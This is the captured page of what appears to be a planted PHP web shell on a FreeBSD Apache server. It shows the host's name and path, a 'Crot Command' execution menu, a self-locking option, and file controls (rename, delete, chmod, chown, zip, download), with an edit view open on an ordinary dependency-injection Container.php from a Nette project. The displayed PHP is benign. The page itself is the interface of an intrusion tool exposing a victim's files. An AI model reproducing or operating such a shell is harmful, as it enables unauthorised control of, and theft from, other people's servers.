TYPE-0 PERFECT SEIHA
Server Info:
FreeBSD scimitar.blueboard.cz 13.5-STABLE FreeBSD 13.5-STABLE stable/13-4f2925105 GENERIC amd64
Software:
Apache
User:
www
Crot
Crot File
Crot Dir
Crot Command
[LockSelf]
[HOME]
data
www
19068
fszoo_net
www
api
1
root
local_vendor
teze
teze
src
bc2
di
src
DI
Show Hidden Files
Edit File: /data/www/19068/fszoo_net/www/api/1/root/local_vendor/teze/teze/src/bc2/di/src/DI/Container.php
<?php namespace Teze\DI; use Nette\DI\MissingServiceException; use Tracy\Debugger; /** * Class Container * @package Teze\DI * @deprecated */ class Container extends \Nette\Object { const DEPENDENCES = 'dependences'; const HASHES = 'hashes'; private $dirs = array(); protected $configs = array(); protected $container; public $cache; protected $dependences; private $variables; private $dependencyBuilder; private $classBuilder; private $name; protected $callbackDeprecated = TRUE; private $rebuild = FALSE; public function __construct(ServiceContainer $container, $name = 'DI') { $this->container = $container; $this->name = $name; $this->rebuild = !Debugger::$productionMode; } public function setRebuild($bool){ $this->rebuild = $bool; } public function setClassBuilder(IClassBuilder $classBuilder) { $this->classBuilder = $classBuilder; } public function addDirectory($dir) { $this->dirs[$dir] = $dir; } public function addConfig($filename) { $this->configs[$filename] = $filename; } public function create() { $this->cache = new \Nette\Caching\Cache($this->container->getService('cacheStorage'), $this->name); $this->dependences = $this->cache->load(self::DEPENDENCES); if ($this->dependences === NULL || $this->needRebuild()) $this->rebuild(); $this->dependences = $this->dependences ? $this->dependences : FALSE; // can not be NULL !!! } private function needRebuild(){ if($this->rebuild === FALSE) return FALSE; $hashes = $this->cache->load(self::HASHES); $hashes = is_array($hashes) ? $hashes : array(); $load = $this->loadFiles(); if($hashes != $load['hashes']){ $this->cache->save(self::HASHES, $load['hashes']); return TRUE; } } protected function loadFiles(){ $hashes = array(); foreach ($this->configs as $config) { if (!file_exists($config)) throw new \Nette\FileNotFoundException('Dependency config file ' . $config . ' does not exist.'); $hashes[$config] = md5_file($config); } $configs = $this->configs; if (count($this->dirs)) { foreach ($this->dirs as $dir) { if (!is_dir($dir)) throw new \Nette\FileNotFoundException('Directory ' . $dir . ' does not exist.'); foreach (\Nette\Utils\Finder::findFiles('*.di')->from($dir) as $file => $filename) { $configs[$file] = $file; $hashes[$file] = md5_file($file); } } } return array('configs' => $configs, 'hashes' => $hashes); } public function rebuild() { $load = $this->loadFiles(); $this->configs = $load['configs']; $validator = new Validator($this->container); $result = array(); foreach ($this->configs as $config) { $validator->validate($config); $source = \Nette\Utils\Neon::decode(file_get_contents($config)); $dependences = $source; $namespace = ''; if (isset($dependences['namespace'])) { $namespace = $dependences['namespace'] . '\\'; } if (isset($dependences['classes'])) { foreach ($dependences['classes'] as $className => $di) { $className = $namespace . $className; $result[$className] = $di; } } } $builder = $this->getDependencyBuilder(); $builder->setDependences($result); $builder->setParameters($this->container->parameters); foreach ($result as $className => $di) { $result[$className] = $builder->create($className); } $this->cache->save(self::DEPENDENCES, $result); $this->dependences = $result; } /** * Get dependences for specific class * @param String classname * @return Dependences * @throws \Nette\InvalidArgumentException */ public function get($class) { if ($this->dependences === NULL) throw new \Nette\InvalidArgumentException('Dependenci injection container is not created!'); if ($class instanceof \Nette\Application\UI\Presenter && !$this->container->hasService('presenter')) $this->container->addService('presenter', $class); $className = get_class($class); if (!isset($this->dependences[$className])) { $this->buildDependences($className); $this->cache->save(self::DEPENDENCES, $this->dependences); } return $this->dependences($this->dependences[$className], $className); } public function pushDependences($class, $close = TRUE) { $dependences = $this->get($class); foreach (get_class_methods($class) as $method) { if (substr($method, 0, 4) == 'push') { $diName = lcfirst(substr($method, 4)); if ($diName){ $r = new \ReflectionParameter(array($class, $method), 0); $type = $r->getClass() ? $r->getClass()->name : NULL; try{ $class->$method($dependences->$diName); } catch (DependencyException $e){ if($type && $exist = $this->container->findByType($type)){ $class->$method($this->container->getService($exist[0])); $dependences->used($diName); } else throw $e; } } } } if($close) $dependences->end(); return $class; } private function getClassBuilder() { if (!$this->classBuilder) { $this->classBuilder = new ClassBuilder (); $this->classBuilder->setClassDir(isset($this->container->parameters['classes']) ? $this->container->parameters['classes'] : NULL); } return $this->classBuilder; } protected function getDependencyBuilder() { if (!$this->dependencyBuilder) $this->dependencyBuilder = new DependencyBuilder($this->getClassBuilder()); return $this->dependencyBuilder; } public function buildDependences($className) { $dependence = $this->dependences ? $this->getDependencyBuilder()->setDependences($this->dependences)->create($className) : array(); $this->dependences[$className] = $dependence; } private function dependences($params, $className) { $dependences = array(); foreach ($params as $key => $value) { if (is_scalar($value)) { // single line if (is_string($value)) $value = trim($value); if (!$value || is_bool($value)) { // like path: '' OR sendMail = false $dependences[$key] = $value; } elseif ($value[0] == '@') { // like user: @user $split = explode('::', $value); // get service from system container try { $dependences[$key] = $this->container->getService(substr($split[0], 1)); } catch (\Nette\DI\MissingServiceException $e) { $this->cache->remove('classes'); throw new MissingServiceException($e->getMessage().' Class: '.$className); } // spageti code, like users: @database::table(user) if (count($split) > 1) { $call = $split[1]; $dependences[$key] = $dependences[$key]->$call; } if (count($split) > 2) { $call = $split[2]; $dependences[$key] = $dependences[$key]->$call; } // more then three level of spageti code is not allowed if (count($split) > 3) { throw new DependencyException('Too many arguments in ' . $value); } } else { // like themePath: /www/$lang/theme/ $dependences[$key] = @strtr($value, $this->getVariables()); } } else { if ($value instanceof \stdClass) { if ($value->value[0] == '@') { // SERVICE like @database::table(user) $split = explode('::', $value->value); try { $dependences[$key] = $this->container->getService(substr($split[0], 1)); } catch (\Nette\DI\MissingServiceException $e) { $this->cache->remove('classes'); throw $e; } // METHOD ON SERVICE if (count($split) > 1) { $call = $split[1]; if (count($split) == 2) { // example @database::table(user) OR @database::table() if (isset($value->attributes)) { // example @database::table(user) $dependences[$key] = call_user_func_array(array($dependences[$key], $call), $value->attributes); } else { // example @user::beers() $dependences[$key] = $dependences[$key]->$call; } } else { // example @user::beers::... $dependences[$key] = $dependences[$key]->$call; } } if (count($split) > 2) { $call = $split[2]; // example @user::beers::get(1) $arguments = isset($value->attributes[0]) ? $this->replaceVariables($value->attributes[0]) : NULL; if (!isset($split[3])) $dependences[$key] = $dependences[$key]->$call($arguments); else { $dependences[$key] = $dependences[$key]->$call; $call = $split[3]; $dependences[$key] = $dependences[$key]->$call($arguments); } } } } elseif (isset($value['callback'])) { if($this->callbackDeprecated) trigger_error('Callback is deprecated. Class:' . $className); if (isset($value['callback']['new'])) { $that = $this; $classNm = $value['callback']['new']; $dependences[$key] = function () use($that, $classNm) { if (!class_exists($classNm)) { $that->cache->remove(Container::DEPENDENCES); throw new \InvalidArgumentException('Class ' . $classNm . ' does not exist.'); } $new = new $classNm; $dep = $that->get($new); foreach (get_class_methods($new) as $method) { if (substr($method, 0, 4) == 'push') { $diName = lcfirst(substr($method, 4)); if ($diName) $new->$method($dep->get($diName, $classNm)); } } if (method_exists($new, 'push')) $new->push($dep); return $new; }; } elseif (isset($value['callback']['service'])) { $container = $this->container; $service = $value['callback']['service']; $method = isset($value['callback']['method']) ? $value['callback']['method'] : NULL; $dependences[$key] = function () use($container, $service, $method) { $return = $container->$service; if ($method) $return = $return->$method(); return $return; }; } elseif (isset($value['callback']['method'])) { $that = $this; $method = $value['callback']['method']; $dependences[$key] = function ($destination, $args) use ($that, $method) { return $that->$method($destination, $args); }; } elseif (isset($value['callback']['factory'])) { $container = $this->container; $factory = $value['callback']['factory']; $dependences[$key] = function () use($container, $factory) { $factory = 'create' . ucfirst($factory); return $container->$factory(); }; } else { throw new DependencyException('Invalid callback'); } } elseif (isset($value['factory'])) { if (isset($value['factory']['new'])) { $classFullName = $value['factory']['new']; // factory has "Factory" in the end $factoryClass = $classFullName . 'Factory'; $dependences[$key] = new $factoryClass($this); } else { throw new DependencyException('Invalid factory'); } } else { $dependences[$key] = $value; } } } return new Dependences($dependences, $className, $this->cache); } private function getVariables() { if ($this->variables === NULL) { $this->variables = array(); $variables = $this->container->variables->asArray(); foreach ($variables as $key => $value) { $this->variables['$' . (string) $key] = $value; } } return $this->variables; } private function replaceVariables($string) { return strtr($string, $this->getVariables()); } public function getSystemContainer() { return $this->container; } }
Crotin
Name
Size
Permissions
Modified
User/Group
Validator.php
2361
0644
2018-07-10 17:52:01
Unknown/Unknown
InterfaceTemplate.phpt
193
0644
2018-07-10 17:52:00
Unknown/Unknown
Dependences.php
2002
0644
2018-07-10 17:52:01
Unknown/Unknown
FactoryClassTemplate.phpt
499
0644
2018-07-10 17:52:01
Unknown/Unknown
IFactory.php
222
0644
2018-07-10 17:52:01
Unknown/Unknown
Config.php
326
0644
2018-07-10 17:52:01
Unknown/Unknown
DependencyBuilder.php
2868
0644
2018-07-10 17:52:01
Unknown/Unknown
ClassBuilder.php
1659
0644
2018-07-10 17:52:01
Unknown/Unknown
PresenterFactory.php
923
0644
2018-07-10 17:52:01
Unknown/Unknown
DependencyException.php
291
0644
2018-07-10 17:52:01
Unknown/Unknown
ServiceContainer.php
1611
0644
2018-07-10 17:52:01
Unknown/Unknown
Container.php
11690
0644
2018-07-10 17:52:01
Unknown/Unknown
CompileException.php
287
0644
2018-07-10 17:52:01
Unknown/Unknown
IClassBuilder.php
253
0644
2018-07-10 17:52:01
Unknown/Unknown
NGANU
Rename
Hapus
Chmod
Chown
Touch
Zip
Unzip
Download
Crotin